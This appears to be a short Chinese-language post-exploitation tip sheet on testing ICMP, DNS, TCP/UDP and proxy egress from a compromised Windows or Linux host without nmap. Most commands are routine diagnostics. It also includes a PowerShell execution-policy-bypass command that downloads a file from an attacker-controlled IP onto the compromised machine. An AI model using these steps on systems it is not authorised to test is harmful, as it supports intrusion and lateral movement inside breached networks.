Contents
不使用 nmap 等常见网络工具判断各网络协议的连通性
使用场景
在临时控制的失陷主机上,未必会有专业的网络探测调试工具比如 nmap, masscan 等,因此需要尽可能发挥出预装软件的能力。
Windows
ICMP 连通性
ping ip/domain
DNS 连通性
# 第一个参数是需要解析的域名,第二个参数是目标 DNS 服务器的 IP,可判断目标 IP 的53端口是否正常工作
nslookup baidu.com 10.10.10.128 # 第二个参数指定 DNS 服务器
HTTP / TCP 连通性
在攻击机器开一个 python HTTP Server,然后在失陷 Windows 机器上使用 Powershell 去下东西。如果不出网会报错:
powershell -nop -Exec Bypass -Command (New-Object System.Net.WebClient).DownloadFile('http://47.244.96.168:8888/readme.txt','readme.txt')
其他
arp -a # 查看 ARP 缓存内容
net view # 显示当前域中的计算机列表
Linux
ICMP 连通性
ping ip/domain
TCP/UDP 连通性
# TCP
nc -zv ip port
nc -znv -w 3 ip port
# UDP
nc -u -znv ip port
# z选项:没有输入和输出的模式,v选项:显示详细信息
# -w 设置超时秒数。在测试链接的时候,如果你【没】使用 -w 这个超时选项,默认情况下 nc 会等待很久,然后才告诉你连接失败。如果你所处的网络环境稳定且高速(比如:局域网内),那么,你可以追加 -w 选项,设置一个比较小的超时值。在上面的例子中,超时值设为3秒。
# -n:由于测试的是【IP 地址】,用该选项告诉 nc,【无须】进行域名(DNS)解析;反之,如果你要测试的主机是基于【域名】,就【不能】用选项 -n。加上 -n 省略了 DNS 解析的步骤,速度快很多。
# 补充说明:UDP 端口测试。通常情况下,要测试的端口都是 TCP 协议的端口;如果你碰到特殊情况,需要测试某个 UDP 的端口是否可达。nc 同样能胜任。只需要追加 -u 选项。
其他
另外的一些技巧,某些场景中需要内网需要全部经过代理服务器才能出网,常见的判断方法:
# linux
ps -ef |grep ip #查看是否存在和其他机器端口的连接
#查看内网主机是否包含字符"proxy"的机器
#查看IE浏览器的直接代理
#根据pac文件查看代理机器
curl baidu.com # 不挂代理无法正常出网
curl -x 127.0.0.1:1080 baidu.com #注意代理的目标,不一定是本机,挂代理时通,不挂代理时不通说明存在代理机器
Leave a Reply